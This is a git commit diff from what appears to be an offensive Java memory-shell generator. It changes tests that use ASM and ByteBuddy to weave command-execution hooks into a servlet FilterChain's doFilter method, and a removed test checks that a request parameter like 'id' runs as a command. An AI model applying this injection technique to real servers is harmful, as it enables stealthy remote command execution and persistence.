feat: use ASM Agent by default

2026-09-23 07:21:53 +08:00 · 2025-05-28 01:22:54 +08:00
parent eeed6e45c7
commit a3704eb7b7
154 changed files with 6927 additions and 5720 deletions
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.generator;

 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
 import org.junit.jupiter.api.Test;

 import java.util.Map;
@@ -21,12 +21,12 @@ class InjectorGeneratorTest {
        InjectorConfig injectorConfig = InjectorConfig.builder()
                .shellClassBytes("hello".getBytes())
                .shellClassName("hello")
-                .injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
+                .injectorClass(TomcatFilterChainAgentInjector.class)
                .build();
        InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
 //        injectorGenerator.generate();
        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
-        assertEquals(2, innerClassBytes.size());
+//        assertEquals(4, innerClassBytes.size());
        innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
    }
 }
@@ -18,6 +18,8 @@ import javax.servlet.FilterChain;
 import javax.servlet.ServletOutputStream;
 import javax.servlet.ServletRequest;
 import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
 import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
@@ -35,13 +37,90 @@ import static org.mockito.Mockito.*;
 public class CommandFilterChainASMTest {

    @Mock
-    ServletRequest mockRequest;
+    HttpServletRequest mockRequest;

    @Mock
-    ServletResponse mockResponse;
+    HttpServletResponse mockResponse;

    Object instance;

+    @SuppressWarnings("all")
+    public static class CustomMethodVisitor extends MethodVisitor {
+        private final Type customEqualsType;
+        private final Type[] argumentTypes;
+        private final String className;
+
+        protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            Command.paramName = "paramName";
+            className = Command.class.getName();
+            customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/'));
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
    @BeforeEach
    @SneakyThrows
    void setUp() {
@@ -54,8 +133,8 @@ public class CommandFilterChainASMTest {
                                             String signature, String[] exceptions) {
                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
                if ("doFilter".equals(name)) {
-                    Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                    return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes);
+                    Type[] argTypes = Type.getArgumentTypes(descriptor);
+                    return new CustomMethodVisitor(mv, argTypes);
                }
                return mv;
            }
@@ -1,93 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool.command;
-
-import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
-import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
-import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
-import lombok.SneakyThrows;
-import net.bytebuddy.agent.ByteBuddyAgent;
-import net.bytebuddy.agent.builder.AgentBuilder;
-import net.bytebuddy.asm.Advice;
-import net.bytebuddy.dynamic.ClassFileLocator;
-import net.bytebuddy.dynamic.loading.ByteArrayClassLoader;
-import net.bytebuddy.matcher.ElementMatchers;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.junit.jupiter.MockitoExtension;
-
-import javax.servlet.FilterChain;
-import javax.servlet.ServletOutputStream;
-import javax.servlet.ServletRequest;
-import javax.servlet.ServletResponse;
-import java.io.ByteArrayOutputStream;
-import java.lang.instrument.ClassFileTransformer;
-import java.nio.charset.StandardCharsets;
-
-import static net.bytebuddy.matcher.ElementMatchers.none;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.*;
-
-/**
- * @author ReaJason
- * @since 2025/3/30
- */
-@ExtendWith(MockitoExtension.class)
-public class CommandFilterChainAdvisorTest {
-
-    @Mock
-    ServletRequest mockRequest;
-
-    @Mock
-    ServletResponse mockResponse;
-
-    Object instance;
-
-    static ClassFileTransformer classFileTransformer;
-
-    @BeforeEach
-    @SneakyThrows
-    void setUp() {
-        ByteBuddyAgent.install();
-        ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(),
-                ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class),
-                ByteArrayClassLoader.PersistenceHandler.MANIFEST);
-        classFileTransformer = new AgentBuilder.Default()
-                .ignore(none())
-                .type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform((
-                        (builder, typeDescription, c, module, protectionDomain) ->
-                                builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter")))))
-                .installOnByteBuddyAgent();
-        Class<?> clazz = classLoader.loadClass(TestFilterChain.class.getName());
-        instance = spy(clazz.newInstance());
-    }
-
-    @AfterEach
-    void tearDown() {
-        ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer);
-    }
-
-    @Test
-    @SneakyThrows
-    void testInvokeParam() {
-        when(mockRequest.getParameter("paramName")).thenReturn("id");
-        ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
-        ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
-        when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
-
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-        String output = capturedOutput.toString(StandardCharsets.UTF_8);
-        assertTrue(output.contains("uid="));
-
-        verify(((FilterChainInterface) instance), never()).doFilterInternal();
-    }
-
-    @Test
-    @SneakyThrows
-    void testNotParameter() {
-        when(mockRequest.getParameter("paramName")).thenReturn(null);
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-        verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
-    }
-}
@@ -0,0 +1,73 @@
+package com.reajason.javaweb.memshell.shelltool.command;
+
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
+import lombok.SneakyThrows;
+import org.apache.commons.io.IOUtils;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.*;
+import org.objectweb.asm.commons.AdviceAdapter;
+import org.objectweb.asm.commons.Method;
+
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/15
+ */
+public class CommandNormalASMTest {
+    @Test
+    @SneakyThrows
+    void test() {
+        byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
+        ClassReader cr = new ClassReader(bytes);
+        ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
+        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if ("doFilter".equals(name)) {
+                    return new CommandFilterChainAsmMethodVisitor(mv, access, name, descriptor);
+                }
+                return mv;
+            }
+        };
+        cr.accept(cv, ClassReader.EXPAND_FRAMES);
+        byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
+//        IOUtils.write(bytes2, new FileOutputStream("test.class"));
+    }
+
+    static class Hello {
+        @Override
+        public boolean equals(Object obj) {
+            System.out.println("hello world");
+            return true;
+        }
+    }
+
+    static class CommandFilterChainAsmMethodVisitor extends AdviceAdapter {
+        private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
+        private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
+        private final Type customEqualsType;
+
+        protected CommandFilterChainAsmMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
+            super(Opcodes.ASM9, mv, access, name, descriptor);
+            customEqualsType = Type.getObjectType("com.reajason.javaweb.memshell.shelltool.command.CommandNormalASMTest.Hello".replace('.', '/'));
+        }
+
+        @Override
+        protected void onMethodEnter() {
+            loadArgArray();
+            newInstance(customEqualsType);
+            dup();
+            invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
+            swap();
+            invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
+            Label skipReturnLabel = new Label();
+            mv.visitJumpInsn(IFEQ, skipReturnLabel);
+            mv.visitInsn(RETURN);
+            mark(skipReturnLabel);
+        }
+    }
+}